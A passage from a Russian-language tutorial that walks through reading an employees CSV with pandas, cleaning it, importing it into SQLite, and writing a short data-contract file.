  • есть ли BOM
  • заключено ли поле с запятой в кавычки

Шаг 3. Прочитайте в pandas

import pandas as pd

df = pd.read_csv(
"employees.csv",
sep=";", # подставьте свой
encoding="utf-8-sig",
dtype={"id": str},
decimal=",",
thousands=" ",
)
print(df.dtypes)
print(df.head())

Исправьте параметры, пока id остаётся строкой с ведущими нулями и salary — числом.

Шаг 4. Очистка

  • обрежьте пробелы в заголовках и строковых полях
  • приведите salary к float
  • проверьте дубликаты по id

Методы — в 427.

Шаг 5. Импорт в SQLite

Через DB Browser или:

import sqlite3

conn = sqlite3.connect("employees.db")
df.to_sql("employees", conn, if_exists="replace", index=False)
conn.close()

Сверьте количество строк с исходным листом. Маршрут новичка — 101.

Шаг 6. Staging (по желанию)

Повторите загрузку в таблицу staging_employees, затем SQL-запросом вставьте только строки, где salary > 0, в employees_clean.

Шаг 7. Контракт

Оформите короткий markdown-файл employees_csv_contract.md с выбранными sep, encoding, форматом даты и правилом дедупликации по id. Согласуйте с форматом TOML-конфига, если pipeline описываете в репозитории.


Связанные материалы​